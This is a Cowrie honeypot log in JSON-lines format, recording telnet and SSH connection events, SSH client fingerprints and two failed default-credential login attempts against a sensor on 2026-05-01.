{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":58580,"dst_ip":"159.203.135.109","dst_port":23,"session":"2147e5d7756d","protocol":"telnet","message":"New connection: 209.159.146.115:58580 (159.203.135.109:23) [session: 2147e5d7756d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:20.603301Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":59102,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e6a09df517b","protocol":"telnet","message":"New connection: 209.159.146.115:59102 (159.203.135.109:23) [session: 8e6a09df517b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:20.766896Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45376,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a00a604def3","protocol":"telnet","message":"New connection: 23.254.167.244:45376 (159.203.135.109:23) [session: 7a00a604def3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:20.917587Z"}
{"eventid":"cowrie.session.closed","duration":33.027965784072876,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:21.075145Z","src_ip":"209.159.146.115","session":"62961f0f20bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.09065556526184,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:21.112748Z","src_ip":"209.159.146.115","session":"608d86fe16b2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45984,"dst_ip":"159.203.135.109","dst_port":23,"session":"7be386cdaa03","protocol":"telnet","message":"New connection: 23.254.167.244:45984 (159.203.135.109:23) [session: 7be386cdaa03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:21.664722Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":45240,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0d2b34d0d32","protocol":"telnet","message":"New connection: 23.254.167.244:45240 (159.203.135.109:23) [session: d0d2b34d0d32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:21.718604Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":36108,"dst_ip":"159.203.135.109","dst_port":23,"session":"32edf0a2dfd4","protocol":"telnet","message":"New connection: 209.159.146.115:36108 (159.203.135.109:23) [session: 32edf0a2dfd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:21.799623Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":37670,"dst_ip":"159.203.135.109","dst_port":23,"session":"3409d45bafea","protocol":"telnet","message":"New connection: 209.159.146.115:37670 (159.203.135.109:23) [session: 3409d45bafea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:22.214738Z"}
{"eventid":"cowrie.session.closed","duration":32.558042764663696,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:23.419745Z","src_ip":"209.159.146.115","session":"eb2f31b02873","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.970510959625244,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:24.138383Z","src_ip":"209.159.146.115","session":"13f7ed945ed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49746,"dst_ip":"159.203.135.109","dst_port":23,"session":"8bf29b83a7d1","protocol":"telnet","message":"New connection: 23.254.167.244:49746 (159.203.135.109:23) [session: 8bf29b83a7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:24.541246Z"}
{"eventid":"cowrie.session.closed","duration":31.24806261062622,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:25.644933Z","src_ip":"23.254.167.244","session":"e40d53a46fdd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.309356451034546,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:26.182127Z","src_ip":"209.159.146.115","session":"15983586c57f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":55572,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e40cf6b45e6","protocol":"telnet","message":"New connection: 209.159.146.115:55572 (159.203.135.109:23) [session: 5e40cf6b45e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:26.431936Z"}
{"eventid":"cowrie.session.closed","duration":33.758545875549316,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:27.390270Z","src_ip":"23.254.167.244","session":"550343fbcdf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":33686,"dst_ip":"159.203.135.109","dst_port":23,"session":"dfc13084bf3e","protocol":"telnet","message":"New connection: 209.159.146.115:33686 (159.203.135.109:23) [session: dfc13084bf3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:28.378525Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35346,"dst_ip":"159.203.135.109","dst_port":23,"session":"24f0da068f00","protocol":"telnet","message":"New connection: 209.159.146.115:35346 (159.203.135.109:23) [session: 24f0da068f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:28.891845Z"}
{"eventid":"cowrie.session.closed","duration":33.854700803756714,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:29.749821Z","src_ip":"23.254.167.244","session":"81b4136910a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04954695701599,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:29.977827Z","src_ip":"209.159.146.115","session":"8b03563f16ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":42568,"dst_ip":"159.203.135.109","dst_port":23,"session":"aab17270b4ea","protocol":"telnet","message":"New connection: 209.159.146.115:42568 (159.203.135.109:23) [session: aab17270b4ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:30.051810Z"}
{"eventid":"cowrie.session.closed","duration":3.4340946674346924,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:31.812486Z","src_ip":"209.159.146.115","session":"dfc13084bf3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.56533193588257,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:33.426729Z","src_ip":"23.254.167.244","session":"46011cba560a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.8189377784729,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:33.709586Z","src_ip":"209.159.146.115","session":"1a185a179ce9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":33340,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc86e67961c6","protocol":"telnet","message":"New connection: 23.254.167.244:33340 (159.203.135.109:23) [session: bc86e67961c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:33.742120Z"}
{"eventid":"cowrie.session.closed","duration":33.192936182022095,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:33.940355Z","src_ip":"209.159.146.115","session":"149ed4bfbec9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.313647747039795,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:34.331689Z","src_ip":"23.254.167.244","session":"3e0a4f5b4c30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.71301031112671,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:34.956762Z","src_ip":"185.26.126.47","session":"9c294e6e7a0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":37798,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf8bc5fc07b1","protocol":"telnet","message":"New connection: 23.254.167.244:37798 (159.203.135.109:23) [session: bf8bc5fc07b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:36.577171Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":44266,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f11c260639c","protocol":"telnet","message":"New connection: 209.159.146.115:44266 (159.203.135.109:23) [session: 3f11c260639c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:37.460580Z"}
{"eventid":"cowrie.session.closed","duration":32.810600996017456,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:38.228832Z","src_ip":"23.254.167.244","session":"98d337c67815","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.113117933273315,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:38.426634Z","src_ip":"23.254.167.244","session":"c37af346ab6e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.49028921127319,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:38.861577Z","src_ip":"209.159.146.115","session":"930487d41acc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.06527328491211,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:40.509248Z","src_ip":"209.159.146.115","session":"ff79cf49ba26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.66053795814514,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:40.922063Z","src_ip":"23.254.167.244","session":"b01184cd6c2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":44990,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac38b69cca00","protocol":"telnet","message":"New connection: 23.254.167.244:44990 (159.203.135.109:23) [session: ac38b69cca00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:41.598841Z"}
{"eventid":"cowrie.session.closed","duration":34.516621828079224,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:41.769525Z","src_ip":"209.159.146.115","session":"6d5be9a0641f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":35220,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5ecd25fed6d","protocol":"telnet","message":"New connection: 209.159.146.115:35220 (159.203.135.109:23) [session: d5ecd25fed6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:41.775113Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":41002,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ef867a1c03e","protocol":"telnet","message":"New connection: 209.159.146.115:41002 (159.203.135.109:23) [session: 8ef867a1c03e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:43.199119Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":43632,"dst_ip":"159.203.135.109","dst_port":23,"session":"51066a15456e","protocol":"telnet","message":"New connection: 209.159.146.115:43632 (159.203.135.109:23) [session: 51066a15456e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:44.092581Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":47822,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0f183b260a4","protocol":"telnet","message":"New connection: 23.254.167.244:47822 (159.203.135.109:23) [session: d0f183b260a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:44.520761Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":48532,"dst_ip":"159.203.135.109","dst_port":23,"session":"58820e542c8e","protocol":"telnet","message":"New connection: 209.159.146.115:48532 (159.203.135.109:23) [session: 58820e542c8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:45.737089Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":49438,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d2724f8d040","protocol":"telnet","message":"New connection: 23.254.167.244:49438 (159.203.135.109:23) [session: 6d2724f8d040]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:46.725061Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":50760,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb5b80d9064a","protocol":"telnet","message":"New connection: 23.254.167.244:50760 (159.203.135.109:23) [session: eb5b80d9064a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:46.787631Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44122,"dst_ip":"159.203.135.109","dst_port":22,"session":"3941d221d644","protocol":"ssh","message":"New connection: 159.203.92.129:44122 (159.203.135.109:22) [session: 3941d221d644]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:46.815976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:46.823854Z","src_ip":"159.203.92.129","session":"3941d221d644","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:46.829248Z","src_ip":"159.203.92.129","session":"3941d221d644","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angela","password":"angela","message":"login attempt [angela/angela] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:46.842754Z","src_ip":"159.203.92.129","session":"3941d221d644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":54994,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf239f36e6bf","protocol":"telnet","message":"New connection: 209.159.146.115:54994 (159.203.135.109:23) [session: cf239f36e6bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:47.167977Z"}
{"eventid":"cowrie.session.closed","duration":38.856669664382935,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:47.386468Z","src_ip":"209.159.146.115","session":"fec28073eca1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:47.853176Z","src_ip":"159.203.92.129","session":"3941d221d644","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":52364,"dst_ip":"159.203.135.109","dst_port":23,"session":"aeb08b59c830","protocol":"telnet","message":"New connection: 23.254.167.244:52364 (159.203.135.109:23) [session: aeb08b59c830]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:48.338216Z"}
{"eventid":"cowrie.session.closed","duration":32.138036251068115,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:48.635141Z","src_ip":"209.159.146.115","session":"1acc8aa88030","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":60180,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe822f2cfbc8","protocol":"telnet","message":"New connection: 209.159.146.115:60180 (159.203.135.109:23) [session: fe822f2cfbc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:48.779592Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.66.34.121","src_port":36628,"dst_ip":"159.203.135.109","dst_port":22,"session":"9eb12b868a51","protocol":"ssh","message":"New connection: 157.66.34.121:36628 (159.203.135.109:22) [session: 9eb12b868a51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:49.206512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:49.213064Z","src_ip":"157.66.34.121","session":"9eb12b868a51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:49.448066Z","src_ip":"157.66.34.121","session":"9eb12b868a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.02683663368225,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:50.176067Z","src_ip":"23.254.167.244","session":"bc3a54f47b03","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"sysuser","password":"sysuser","message":"login attempt [sysuser/sysuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:50.413495Z","src_ip":"157.66.34.121","session":"9eb12b868a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.061182260513306,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:50.910592Z","src_ip":"23.254.167.244","session":"2459f953d122","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:51.649431Z","src_ip":"157.66.34.121","session":"9eb12b868a51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.1203248500824,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:51.685408Z","src_ip":"23.254.167.244","session":"ef8468996ae5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.159.146.115","src_port":45324,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ccb43a8d243","protocol":"telnet","message":"New connection: 209.159.146.115:45324 (159.203.135.109:23) [session: 9ccb43a8d243]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:52.245148Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.254.167.244","src_port":55844,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec4153e831fd","protocol":"telnet","message":"New connection: 23.254.167.244:55844 (159.203.135.109:23) [session: ec4153e831fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:52.809356Z"}
{"eventid":"cowrie.session.closed","duration":32.14014744758606,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:52.906902Z","src_ip":"209.159.146.115","session":"8e6a09df517b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.0385947227478,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:53.402325Z","src_ip":"209.159.146.115","session":"8be32e69780f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.83759355545044,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:53.556064Z","src_ip":"23.254.167.244","session":"d0d2b34d0d32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.30613899230957,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:53.909156Z","src_ip":"209.159.146.115","session":"2147e5d7756d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":50862,"dst_ip":"10.17.0.5","dst_port":22,"session":"69d5f03aa454","protocol":"ssh","message":"New connection: 80.94.92.182:50862 (10.17.0.5:22) [session: 69d5f03aa454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:54.090492Z"}
{"eventid":"cowrie.session.closed","duration":32.5622239112854,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:54.226799Z","src_ip":"23.254.167.244","session":"7be386cdaa03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.76139187812805,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:00:54.560895Z","src_ip":"209.159.146.115","session":"32edf0a2dfd4","protocol":"telnet"}
